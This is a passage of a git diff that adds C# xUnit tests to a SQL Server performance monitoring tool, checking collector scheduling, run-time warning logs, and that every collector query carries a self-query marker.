+        Assert.Null(ScheduleManager.LastRunWithinFloor(null, now, 3 * 1440));
+    }
+
+    private const string ThreeDay = "index_object_stats";
+
+    private static List<string> DueAt(ScheduleManager manager, ServerConnection server, DateTime atUtc) =>
+        manager.GetDueCollectorsForServer(server.Id, atUtc).Select(s => s.Name).ToList();
+
+    /* A run time about twelve hours from now on the UTC clock, so a test never starts inside a slot's grace. */
+    private static int RunAtTwelveHoursOff() => RunAtTwelveHoursOff(DateTime.UtcNow);
+
+    // One clock read: hour and minute from two reads could straddle an hour boundary.
+    private static int RunAtTwelveHoursOff(DateTime now) => (now.Hour * 60 + now.Minute + 12 * 60) % 1440;
+
+    /* The latest date whose slot is at or before the instant, found the way the run-time rule finds it. */
+    private static DateOnly LatestSlotDate(DateTime utc, int runAtMinute, int storageId)
+    {
+        var date = DateOnly.FromDateTime(utc).AddDays(-2);
+        while (CollectorRunTime.SlotUtc(date.AddDays(1), runAtMinute, storageId, CollectorRunTime.LocalIsUtc) <= utc)
+        {
+            date = date.AddDays(1);
+        }
+
+        return date;
+    }
+
+    /* The next run get_collection_health names for a collector whose newest log row is lastRunUtc (the health row's stamp is naive UTC). */
+    private static DateTime HealthNextRun(
+        ScheduleManager manager, ServerManager servers, ServerConnection server, string collector, DateTime lastRunUtc, DateTime nowUtc)
+    {
+        var storageId = RemoteCollectorService.GetServerId(server);
+        var settings = manager.GetRunTimeSettingsForStorageServer(servers, storageId, new[] { collector });
+        var stamp = DateTime.SpecifyKind(lastRunUtc, DateTimeKind.Unspecified);
+        var row = new CollectorHealthRow { CollectorName = collector, TotalRuns = 1, SuccessCount = 1, LastRunTime = stamp, LastSuccessTime = stamp };
+        return McpCollectorRunTimes.Compute(storageId, settings, new[] { row }, clock: null, nowUtc)[collector].NextRunUtc!.Value;
+    }
+
+    /* The first slot after now at which the sweep runs the collector. A run-time collector is due only inside a slot's
+       grace, so asking at each day's slot finds the next run the sweep acts on. */
+    private static DateTime FirstSlotTheSweepRuns(
+        ScheduleManager manager, ServerConnection server, string collector, int runAtMinute, DateTime nowUtc)
+    {
+        var storageId = RemoteCollectorService.GetServerId(server);
+        var today = DateOnly.FromDateTime(nowUtc);
+        for (var offset = -1; offset <= 12; offset++)
+        {
+            var slot = CollectorRunTime.SlotUtc(today.AddDays(offset), runAtMinute, storageId, CollectorRunTime.LocalIsUtc);
+            if (slot > nowUtc && DueAt(manager, server, slot).Contains(collector))
+            {
+                return slot;
+            }
+        }
+
+        Assert.Fail("the sweep does not run the collector at any slot in the next twelve days");
+        return default;
+    }
+
+    /* #4938: a collector on an interval of two days or more, with a run time. The sweep seeded a last run only from its
+       interval plus a day back, and get_collection_health used the health row's newest run (it sees seven days) with no
+       floor, so a run between the two bounds gave the sweep "never run" (the next daily slot) and the tool a 3-day grid from
+       that run (a later day): the tool named a next run the sweep did not act on. Both now count a run older than the
+       interval plus a day as never run. The last run here sits a whole number of slot dates behind now, five minutes after
+       that day's slot. */
+    [Theory]
+    [InlineData(2)]   // inside the 4-day floor: both follow the 3-day grid from that run
+    [InlineData(3)]   // still inside it
+    [InlineData(5)]   // past the floor, and the grid happens to land on the next daily slot
+    [InlineData(6)]   // past the floor, and the grid lands two days after the next daily slot
+    public async Task ADaysLongCollectorsNextRun_IsTheSameInTheSweepAndInTheHealthTool(int slotDatesSinceLastRun)
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            var now = DateTime.UtcNow;
+            var runAtMinute = RunAtTwelveHoursOff();
+            var storageId = RemoteCollectorService.GetServerId(server);
+            var lastRun = CollectorRunTime.SlotUtc(
+                LatestSlotDate(now, runAtMinute, storageId).AddDays(-slotDatesSinceLastRun), runAtMinute, storageId, CollectorRunTime.LocalIsUtc)
+                + TimeSpan.FromMinutes(5);
+
+            var manager = new ScheduleManager(_dir);
+            manager.SetScheduleForServer(server.Id, new List<CollectorSchedule>
+            {
+                new() { Name = ThreeDay, Enabled = true, FrequencyMinutes = 3 * 1440, RunAt = CollectorRunTime.Format(runAtMinute) },
+            });
+            await LogAsync(duckDb, server, ThreeDay, lastRun, "SUCCESS");
+            await new RemoteCollectorService(duckDb, servers, manager).EnsureRunTimeReadyAsync(server);
+
+            var toolNext = HealthNextRun(manager, servers, server, ThreeDay, lastRun, now);
+            var sweepNext = FirstSlotTheSweepRuns(manager, server, ThreeDay, runAtMinute, now);
+
+            Assert.Equal(sweepNext, toolNext);
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+
+    /* The floor belongs to each collector's own interval. The start-up read looks back as far as the server's longest daily
+       interval, so a weekly neighbour made the read reach 8 days, and a 3-day collector whose run was six slot dates ago was
+       seeded from it and followed a grid. It is past its own 4-day floor: never run, due at the next daily slot. */
+    [Fact]
+    public async Task TheSweepFloorsEachCollectorAtItsOwnInterval_NotAtTheLongestOnTheServer()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            var now = DateTime.UtcNow;
+            var runAtMinute = RunAtTwelveHoursOff();
+            var storageId = RemoteCollectorService.GetServerId(server);
+            var lastRun = CollectorRunTime.SlotUtc(
+                LatestSlotDate(now, runAtMinute, storageId).AddDays(-6), runAtMinute, storageId, CollectorRunTime.LocalIsUtc)
+                + TimeSpan.FromMinutes(5);
+
+            var manager = new ScheduleManager(_dir);
+            manager.SetScheduleForServer(server.Id, new List<CollectorSchedule>
+            {
+                new() { Name = ThreeDay, Enabled = true, FrequencyMinutes = 3 * 1440, RunAt = CollectorRunTime.Format(runAtMinute) },
+                new() { Name = "server_config", Enabled = true, FrequencyMinutes = 7 * 1440 },
+            });
+            await LogAsync(duckDb, server, ThreeDay, lastRun, "SUCCESS");
+            await new RemoteCollectorService(duckDb, servers, manager).EnsureRunTimeReadyAsync(server);
+
+            var nextDailySlot = CollectorRunTime.NextDue(now, lastRunUtc: null, runAtMinute, 3 * 1440, storageId, CollectorRunTime.LocalIsUtc);
+
+            Assert.Equal(nextDailySlot, FirstSlotTheSweepRuns(manager, server, ThreeDay, runAtMinute, now));
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+}
diff --git a/Lite.Tests/CollectorRunTimeSweepTests.cs b/Lite.Tests/CollectorRunTimeSweepTests.cs
new file mode 100644
index 0000000000..3fc2190ce1
--- /dev/null
+++ b/Lite.Tests/CollectorRunTimeSweepTests.cs
@@ -0,0 +1,327 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4938, through the scheduler's two real entry points: the scheduled sweep
+/// (<see cref="RemoteCollectorService.RunDueCollectorsAsync(DateTime, CancellationToken)"/>) and the run a newly opened
+/// server tab starts (<see cref="RemoteCollectorService.RunAllCollectorsForServerAsync"/>). A collector name the
+/// dispatch does not know fails before any SQL Server is reached and still writes its collection_log row, so a row
+/// per name says whether the run happened. Everything else is the file and the local database, the two things a
+/// restart keeps: a daily collector that ran today is not run again, a collector with a run time waits for its time,
+/// and opening a tab does not run either.
+/// </summary>
+public sealed class CollectorRunTimeSweepTests : IDisposable
+{
+    private readonly List<DuckDbInitializer> _initializers = [];
+
+    private static long s_nextLogId = -1_000_000;
+
+    private readonly string _dir = Directory.CreateTempSubdirectory("pm-lite-run-time-sweep-tests-").FullName;
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try { Directory.Delete(_dir, recursive: true); } catch { /* best effort */ }
+    }
+
+    private async Task<(DuckDbInitializer DuckDb, ServerManager Servers, ServerConnection Server)> OpenAsync()
+    {
+        var duckDb = new DuckDbInitializer(Path.Combine(_dir, "pm.duckdb"));
+        _initializers.Add(duckDb);
+        await duckDb.InitializeFromTemplateAsync();
+        var servers = new ServerManager(_dir);
+        var server = new ServerConnection { ServerName = "sweep-test", DisplayName = "sweep-test" };
+        servers.AddServer(server);
+        return (duckDb, servers, server);
+    }
+
+    /* The server's own schedule, set on a new scheduler (a restart: nothing about runs is in memory). The scheduler is
+       built from the folder first: a load drops collectors the dispatch does not know, and these names are made up. */
+    private ScheduleManager NewScheduler(ServerConnection server, params (string Name, int Frequency, string? RunAt)[] collectors)
+    {
+        var manager = new ScheduleManager(_dir);
+        manager.SetScheduleForServer(server.Id, collectors.Select(c => new CollectorSchedule
+        {
+            Name = c.Name,
+            Enabled = true,
+            FrequencyMinutes = c.Frequency,
+            RetentionDays = 30,
+            RunAt = c.RunAt,
+        }).ToList());
+        return manager;
+    }
+
+    private static async Task LogAsync(DuckDbInitializer duckDb, ServerConnection server, string collector, DateTime utc)
+    {
+        using var readLock = duckDb.AcquireReadLock();
+        using var connection = duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status)
+            VALUES ($1, $2, 'sweep-test', $3, $4, 10, 'SUCCESS')";
+        command.Parameters.Add(new DuckDBParameter { Value = Interlocked.Decrement(ref s_nextLogId) });
+        command.Parameters.Add(new DuckDBParameter { Value = RemoteCollectorService.GetServerId(server) });
+        command.Parameters.Add(new DuckDBParameter { Value = collector });
+        command.Parameters.Add(new DuckDBParameter { Value = utc });
+        await command.ExecuteNonQueryAsync();
+    }
+
+    /* How many times the collector ran or was logged for the server. */
+    private static async Task<long> RowsAsync(DuckDbInitializer duckDb, ServerConnection server, string collector)
+    {
+        using var readLock = duckDb.AcquireReadLock();
+        using var connection = duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = "SELECT count(*) FROM collection_log WHERE server_id = $1 AND collector_name = $2";
+        command.Parameters.Add(new DuckDBParameter { Value = RemoteCollectorService.GetServerId(server) });
+        command.Parameters.Add(new DuckDBParameter { Value = collector });
+        return Convert.ToInt64(await command.ExecuteScalarAsync(), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    [Fact]
+    public void AFileWithRunAt_LoadsInTheSameWayWhereTheTypeHasNoRunAtField_SoAnOlderLiteStillStartsAndReadsIt()
+    {
+        /* This test uses nothing that is new in #4938, so it passes on a build that has no run_at field: that build
+           reads the file with System.Text.Json defaults, which skip a field the type does not have. What it then does
+           with the file: it keeps every schedule and ignores run_at, and the next time it saves the schedule it writes
+           the file without run_at (the run time is lost on a downgrade). A load that threw would reset the schedule. */
+        File.WriteAllText(Path.Combine(_dir, "collection_schedule.json"), """
+            {
+              "version": 2,
+              "default_schedule": [
+                { "name": "wait_stats", "enabled": true, "frequency_minutes": 7, "retention_days": 30 },
+                { "name": "index_object_stats", "enabled": true, "frequency_minutes": 1440, "retention_days": 30, "run_at": "02:00" }
+              ],
+              "server_overrides": {
+                "srv": { "collectors": [ { "name": "wait_stats", "enabled": true, "frequency_minutes": 9, "retention_days": 30, "run_at": "03:00" } ] }
+              }
+            }
+            """);
+
+        var manager = new ScheduleManager(_dir);
+
+        Assert.Equal(7, manager.GetDefaultSchedule().First(s => s.Name == "wait_stats").FrequencyMinutes);
+        Assert.Equal(1440, manager.GetDefaultSchedule().First(s => s.Name == "index_object_stats").FrequencyMinutes);
+        Assert.Equal(9, manager.GetScheduleForServer("srv", "wait_stats")!.FrequencyMinutes);
+    }
+
+    [Fact]
+    public async Task ARestart_DoesNotRunADailyCollectorAgain_ThatRanEarlierToday_InTheScheduledSweep()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            var now = DateTime.UtcNow;
+            var scheduler = NewScheduler(server,
+                ("no_such_ran_today", 1440, null),
+                ("no_such_ran_30h_ago", 1440, null),
+                ("no_such_never_ran", 1440, null));
+            await LogAsync(duckDb, server, "no_such_ran_today", now.AddHours(-3));
+            await LogAsync(duckDb, server, "no_such_ran_30h_ago", now.AddHours(-30));
+
+            /* The restart: a new scheduler and a new service over the same local database, with nothing in memory. */
+            var service = new RemoteCollectorService(duckDb, servers, scheduler);
+            await service.RunDueCollectorsAsync(now, CancellationToken.None);
+
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_ran_today"));
+            Assert.Equal(2, await RowsAsync(duckDb, server, "no_such_ran_30h_ago"));
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_never_ran"));
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+
+    [Fact]
+    public async Task OpeningATab_DoesNotRunADailyCollectorThatRanToday_OrOneWithARunTime_ButRunsTheOnLoadAndTheHourlyOnes()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            var now = DateTime.UtcNow;
+            var scheduler = NewScheduler(server,
+                ("no_such_on_load", 0, null),
+                ("no_such_on_load_run_time", 0, "03:00"),
+                ("no_such_daily_ran_today", 1440, null),
+                ("no_such_daily_ran_30h_ago", 1440, null),
+                ("no_such_daily_run_time", 1440, "03:00"),
+                ("no_such_hourly", 60, null));
+            await LogAsync(duckDb, server, "no_such_daily_ran_today", now.AddHours(-3));
+            await LogAsync(duckDb, server, "no_such_daily_ran_30h_ago", now.AddHours(-30));
+            await LogAsync(duckDb, server, "no_such_daily_run_time", now.AddHours(-30));
+
+            var service = new RemoteCollectorService(duckDb, servers, scheduler);
+            await service.RunAllCollectorsForServerAsync(server);
+
+            /* The connect capture of an on-load collector still runs, and so does an hourly collector. */
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_on_load"));
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_on_load_run_time"));
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_hourly"));
+
+            /* A daily collector that ran today is left alone; one that is due runs; one with a run time waits for it. */
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_daily_ran_today"));
+            Assert.Equal(2, await RowsAsync(duckDb, server, "no_such_daily_ran_30h_ago"));
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_daily_run_time"));
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+
+    [Fact]
+    public async Task ACollectorWithARunTime_RunsInTheScheduledSweepOnlyInsideItsHour_AndAMissedDayIsNotReplayed()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            /* No server_properties row: the clock is unknown, so the run time reads as UTC. The slot is today's date at
+               the run time plus the server's fixed spread; the sweeps below are timed from it. */
+            var today = DateOnly.FromDateTime(DateTime.UtcNow);
+            var slot = CollectorRunTime.SlotUtc(today, 120, RemoteCollectorService.GetServerId(server), CollectorRunTime.LocalIsUtc);
+            var scheduler = NewScheduler(server, ("no_such_run_time", 1440, "02:00"));
+            var service = new RemoteCollectorService(duckDb, servers, scheduler);
+
+            /* Before the hour, and after it with no run on record (Lite was closed through the whole hour): no run. */
+            await service.RunDueCollectorsAsync(slot - TimeSpan.FromMinutes(1), CancellationToken.None);
+            Assert.Equal(0, await RowsAsync(duckDb, server, "no_such_run_time"));
+            await service.RunDueCollectorsAsync(slot + CollectorRunTime.Grace + TimeSpan.FromMinutes(1), CancellationToken.None);
+            Assert.Equal(0, await RowsAsync(duckDb, server, "no_such_run_time"));
+
+            /* Inside the hour: one run. A made-up collector fails, and a failed attempt still ends that day's run (#4938),
+               so the same hour does not run it twice. */
+            await service.RunDueCollectorsAsync(slot + TimeSpan.FromMinutes(10), CancellationToken.None);
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_run_time"));
+            await service.RunDueCollectorsAsync(slot + TimeSpan.FromMinutes(20), CancellationToken.None);
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_run_time"));
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+
+    [Fact]
+    public async Task ACollectorWithARunTime_ThatKeepsFailing_RunsOnceInsideItsHour_NotOnEverySweep_AndTheNextDaysSlotRunsItAgain()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            var today = DateOnly.FromDateTime(DateTime.UtcNow);
+            var id = RemoteCollectorService.GetServerId(server);
+            var slot = CollectorRunTime.SlotUtc(today, 120, id, CollectorRunTime.LocalIsUtc);
+            var nextSlot = CollectorRunTime.SlotUtc(today.AddDays(1), 120, id, CollectorRunTime.LocalIsUtc);
+
+            /* A made-up collector fails on every attempt and writes one ERROR row per attempt. The scheduler used to
+               treat the failure as "not run", so every sweep of the hour ran the collector again, while the startup
+               read of the log had always counted that row as the run. */
+            var scheduler = NewScheduler(server, ("no_such_failing_run_time", 1440, "02:00"));
+            var service = new RemoteCollectorService(duckDb, servers, scheduler);
+
+            foreach (var minutes in new[] { 1, 2, 3, 10, 30, 59 })
+            {
+                await service.RunDueCollectorsAsync(slot + TimeSpan.FromMinutes(minutes), CancellationToken.None);
+            }
+
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_failing_run_time"));
+
+            /* The rest of the day: no run. The next due time is the next day's slot, not another try on a later sweep. */
+            await service.RunDueCollectorsAsync(slot + TimeSpan.FromHours(5), CancellationToken.None);
+            await service.RunDueCollectorsAsync(nextSlot - TimeSpan.FromMinutes(1), CancellationToken.None);
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_failing_run_time"));
+
+            /* The next day's slot runs it once more, and fails once more, and ends that day too. */
+            foreach (var minutes in new[] { 5, 15, 45 })
+            {
+                await service.RunDueCollectorsAsync(nextSlot + TimeSpan.FromMinutes(minutes), CancellationToken.None);
+            }
+
+            Assert.Equal(2, await RowsAsync(duckDb, server, "no_such_failing_run_time"));
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+
+    [Fact]
+    public async Task ADailyCollectorWithNoRunTime_ThatKeepsFailing_RunsOncePerDay_NotOnEverySweep()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            var t0 = new DateTime(2026, 7, 15, 9, 0, 0, DateTimeKind.Utc);
+
+            /* A made-up collector fails on every attempt and writes one ERROR row per attempt. The scheduler counted only a
+               success for a daily collector with no run time, so a failing one (a missing permission, say) ran on every
+               sweep of the day, while the startup read of the log had always counted that row as the run. */
+            var scheduler = NewScheduler(server, ("no_such_failing_daily", 1440, null));
+            var service = new RemoteCollectorService(duckDb, servers, scheduler);
+
+            foreach (var minutes in new[] { 0, 1, 2, 3, 10, 30, 59, 120, 600 })
+            {
+                await service.RunDueCollectorsAsync(t0 + TimeSpan.FromMinutes(minutes), CancellationToken.None);
+            }
+
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_failing_daily"));
+
+            /* A day after the attempt it is due again, runs once more, fails once more, and ends that day too. */
+            await service.RunDueCollectorsAsync(t0 + TimeSpan.FromDays(1) - TimeSpan.FromMinutes(1), CancellationToken.None);
+            Assert.Equal(1, await RowsAsync(duckDb, server, "no_such_failing_daily"));
+
+            foreach (var minutes in new[] { 0, 5, 45 })
+            {
+                await service.RunDueCollectorsAsync(t0 + TimeSpan.FromDays(1) + TimeSpan.FromMinutes(minutes), CancellationToken.None);
+            }
+
+            Assert.Equal(2, await RowsAsync(duckDb, server, "no_such_failing_daily"));
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+
+    [Fact]
+    public async Task AFailingCollectorThatRunsEveryFifteenMinutes_StillTriesAgainOnTheNextSweep()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            var t0 = new DateTime(2026, 7, 15, 9, 0, 0, DateTimeKind.Utc);
+
+            /* A shorter interval keeps the old rule: only a success counts, so a failing collector runs on every sweep. */
+            var scheduler = NewScheduler(server, ("no_such_failing_frequent", 15, null));
+            var service = new RemoteCollectorService(duckDb, servers, scheduler);
+
+            foreach (var minutes in new[] { 0, 1, 2, 3 })
+            {
+                await service.RunDueCollectorsAsync(t0 + TimeSpan.FromMinutes(minutes), CancellationToken.None);
+            }
+
+            Assert.Equal(4, await RowsAsync(duckDb, server, "no_such_failing_frequent"));
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+}
diff --git a/Lite.Tests/CollectorRunTimeWarningLogTests.cs b/Lite.Tests/CollectorRunTimeWarningLogTests.cs
new file mode 100644
index 0000000000..c688012e36
--- /dev/null
+++ b/Lite.Tests/CollectorRunTimeWarningLogTests.cs
@@ -0,0 +1,69 @@
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4938: a run time that Lite ignores (a value that is not an HH:MM time, or a time on an hourly collector) is logged
+/// as a warning that names the collector and the server. The shipped <see cref="ScheduleManager"/> was built with no
+/// logger, so that warning was never written and the run time was dropped without a word. These pin that the app builds
+/// it with its own logger, and that a warning given to that logger reaches the app log.
+/// </summary>
+/* AppLogger.DrainBufferedLines is destructive, so a class that reads it shares the one collection that serializes the
+   others that do. */
+[Collection("app-logger-statics")]
+public sealed class CollectorRunTimeWarningLogTests : IDisposable
+{
+    private const string ServerKey = "warning-log-server";
+
+    private readonly string _dir = Directory.CreateTempSubdirectory("pm-lite-run-time-log-tests-").FullName;
+
+    public void Dispose()
+    {
+        try { Directory.Delete(_dir, recursive: true); } catch { /* best effort */ }
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+
+    /* The one place the app builds its schedule: it passes the app's logger the way the other services built beside it do. */
+    [Fact]
+    public void TheAppBuildsItsScheduleManagerWithTheAppsLogger()
+    {
+        var app = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "MainWindow.xaml.cs"));
+
+        Assert.Equal(1, Regex.Count(app, @"new ScheduleManager\("));
+        Assert.Matches(@"new ScheduleManager\(\s*App\.ConfigDirectory\s*,\s*new AppLoggerAdapter<ScheduleManager>\(\)\s*\)", app);
+    }
+
+    [Theory]
+    [InlineData("25:00", "index_object_stats", 1440)]
+    [InlineData("02:00", "server_config", 60)]
+    public void ARunTimeThatIsIgnored_ReachesTheAppLog_ThroughTheAppsLogger(string runAt, string collector, int frequency)
+    {
+        var serverName = "warning-log-" + Guid.NewGuid().ToString("N")[..8];
+        File.WriteAllText(Path.Combine(_dir, "collection_schedule.json"), $$"""
+            {
+              "version": 2,
+              "default_schedule": [],
+              "server_overrides": {
+                "{{ServerKey}}": { "collectors": [ { "name": "{{collector}}", "enabled": true, "frequency_minutes": {{frequency}}, "retention_days": 30, "run_at": "{{runAt}}" } ] }
+              }
+            }
+            """);
+        AppLogger.DrainBufferedLines();
+
+        var manager = new ScheduleManager(_dir, new AppLoggerAdapter<ScheduleManager>());
+        manager.SetServerRunContext(ServerKey, 1_234_567_891, serverName, clock: null);
+        _ = manager.GetDueCollectorsForServer(ServerKey, DateTime.UtcNow);
+
+        var logged = Assert.Single(AppLogger.DrainBufferedLines(), l => l.Contains(serverName, StringComparison.Ordinal));
+        Assert.Contains("[WARN ]", logged, StringComparison.Ordinal);
+        Assert.Contains(collector, logged, StringComparison.Ordinal);
+        Assert.Contains(runAt, logged, StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/CollectorSelfQueryMarkerCensusTests.cs b/Lite.Tests/CollectorSelfQueryMarkerCensusTests.cs
new file mode 100644
index 0000000000..6d3f3b9531
--- /dev/null
+++ b/Lite.Tests/CollectorSelfQueryMarkerCensusTests.cs
@@ -0,0 +1,441 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Text;
+using System.Text.RegularExpressions;
+using Lite.Tests.Helpers;
+using PerformanceMonitor.Collectors;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// Every SQL Server collector's own statements carry the self-query marker (#1007 click-through, F14).
+///
+/// <para><b>Why a census.</b> Top Queries, Query Store and the procedure grids leave out statements whose
+/// text contains <c>PerformanceMonitorLite</c>, so the collectors do not fill the grids with Lite watching
+/// itself. The plan-correction collector shipped without the marker, and on a quiet server the top rows of
+/// Top Queries by Duration and Query Store by Duration were its own <c>sys.dm_db_tuning_recommendations</c>
+/// statement, one row per database. A collector added later without the marker would do it again, so this
+/// builds every query every SQL Server collector can send, over the target shapes that change the SQL, and
+/// fails on any that lacks the marker.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public class CollectorSelfQueryMarkerCensusTests
+{
+    private static readonly RecordingCollectorDeltaCalculator s_deltas = new();
+
+    private static readonly CollectorTargetInfo[] s_targets =
+    {
+        new() { SqlMajorVersion = 13 },
+        new() { SqlMajorVersion = 15 },
+        new() { SqlMajorVersion = 17 },
+        new() { SqlMajorVersion = 16, IsAzureSqlDb = true },
+        new() { SqlMajorVersion = 16, IsAzureManagedInstance = true },
+        new() { SqlMajorVersion = 15, IsAwsRds = true },
+    };
+
+    private static CollectorContext Context(CollectorTargetInfo target, bool collectedBefore, bool planAndTextBySeparateFetch = false) => new()
+    {
+        CapturePlanXml = planAndTextBySeparateFetch,
+        FetchQueryTextSeparately = planAndTextBySeparateFetch,
+        ServerId = 42,
+        ServerName = "test-server",
+        CollectionTime = DateTime.UtcNow,
+        Deltas = s_deltas,
+        Target = target,
+        HasCollectedBefore = collectedBefore,
+        CurrentDatabaseName = "SomeDatabase",
+        LongQuerySessionName = LongQueryCompletionsCollector.XeSessionNameFor("Darling", "0a1b2c3d"),
+    };
+
+    private static IEnumerable<(string Where, CollectorQuery Query)> QueriesOf(ICollectorSchemaInfo schema, List<string> unbuildable)
+    {
+        var type = schema.GetType();
+
+        foreach (var target in s_targets)
+        {
+            if (!CollectorCatalog.EngineMatches(schema, target))
+            {
+                continue;
+            }
+
+            foreach (var collectedBefore in new[] { false, true })
+            {
+                foreach (var name in new[] { "BuildQuery", "BuildSupplementalQuery", "BuildEnumerationQuery", "BuildEnumerationProbe", "BuildPerItemQuery" })
+                {
+                    var method = type.GetMethods(BindingFlags.Public | BindingFlags.Instance)
+                        .FirstOrDefault(m => m.Name == name);
+
+                    if (method is null)
+                    {
+                        continue;
+                    }
+
+                    var args = method.GetParameters().Length == 2
+                        ? new object?[] { "SomeDatabase", Context(target, collectedBefore) }
+                        : new object?[] { Context(target, collectedBefore) };
+
+                    object? result;
+
+                    try
+                    {
+                        result = method.Invoke(schema, args);
+                    }
+                    catch (TargetInvocationException ex) when (ex.InnerException is NotSupportedException)
+                    {
+                        /* The collector says this entry point is not how it runs on this target (it enumerates
+                           databases and BuildEnumerationQuery drives it, or it has no per-item query). The
+                           per-collector floor below proves every collector still built at least one query. */
+                        continue;
+                    }
+                    catch (TargetInvocationException ex)
+                    {
+                        unbuildable.Add($"{schema.Name}.{name} (v{target.SqlMajorVersion}): {ex.InnerException?.GetType().Name}: {ex.InnerException?.Message}");
+                        continue;
+                    }
+
+                    if (result is CollectorQuery q)
+                    {
+                        yield return ($"{schema.Name}.{name} (v{target.SqlMajorVersion} azure={target.IsAzureSqlDb} mi={target.IsAzureManagedInstance} rds={target.IsAwsRds} before={collectedBefore})", q);
+                    }
+                }
+            }
+        }
+    }
+
+    [Fact]
+    public void EverySqlServerCollectorQueryCarriesTheSelfQueryMarker()
+    {
+        var missing = new SortedSet<string>(StringComparer.Ordinal);
+        var unbuildable = new List<string>();
+        var checkedQueries = 0;
+        var silent = new List<string>();
+
+        foreach (var schema in CollectorCatalog.All)
+        {
+            if (schema.TargetEngine != CollectorTargetEngine.SqlServer)
+            {
+                continue;
+            }
+
+            var built = 0;
+
+            foreach (var (where, query) in QueriesOf(schema, unbuildable))
+            {
+                checkedQueries++;
+                built++;
+
+                if (!query.Text.Contains(QueryStoreCollector.SelfQueryMarker, StringComparison.Ordinal))
+                {
+                    missing.Add(where.Split(' ')[0]);
+                }
+            }
+
+            if (built == 0)
+            {
+                silent.Add(schema.Name);
+            }
+        }
+
+        Assert.True(checkedQueries > 40, $"only {checkedQueries} queries were built; the census is not reaching the collectors");
+        Assert.True(silent.Count == 0, "collectors that built no query at all: " + string.Join(", ", silent));
+        Assert.True(unbuildable.Count == 0, "queries that could not be built:\n" + string.Join("\n", unbuildable.Take(20)));
+        Assert.True(missing.Count == 0, "collector queries without the " + QueryStoreCollector.SelfQueryMarker + " marker:\n" + string.Join("\n", missing));
+    }
+    /// <summary>
+    /// A query-stats row for a statement run through <c>sp_executesql</c> carries the INNER batch's text (it has its own sql_handle), so
+    /// the marker has to sit in that inner literal: one in the outer batch does not reach it. The Query Store filter is per statement
+    /// too. This pulls out every inner <c>sp_executesql</c> batch of every collector query and checks each on its own.
+    /// </summary>
+    [Fact]
+    public void EveryInnerSpExecuteSqlBatchCarriesTheSelfQueryMarkerOnItsOwn()
+    {
+        var missing = new SortedSet<string>(StringComparer.Ordinal);
+        var unbuildable = new List<string>();
+        var inner = 0;
+
+        foreach (var schema in CollectorCatalog.All)
+        {
+            if (schema.TargetEngine != CollectorTargetEngine.SqlServer)
+            {
+                continue;
+            }
+
+            foreach (var (where, query) in QueriesOf(schema, unbuildable))
+            {
+                foreach (var batch in InnerBatches(query.Text))
+                {
+                    inner++;
+
+                    if (!batch.Contains(QueryStoreCollector.SelfQueryMarker, StringComparison.Ordinal))
+                    {
+                        var head = Regex.Replace(batch, @"\s+", " ").Trim();
+                        missing.Add(where.Split(' ')[0] + ": " + head[..Math.Min(70, head.Length)]);
+                    }
+                }
+            }
+        }
+
+        Assert.True(inner > 30, $"only {inner} inner sp_executesql batches were found; the extraction is not reaching them");
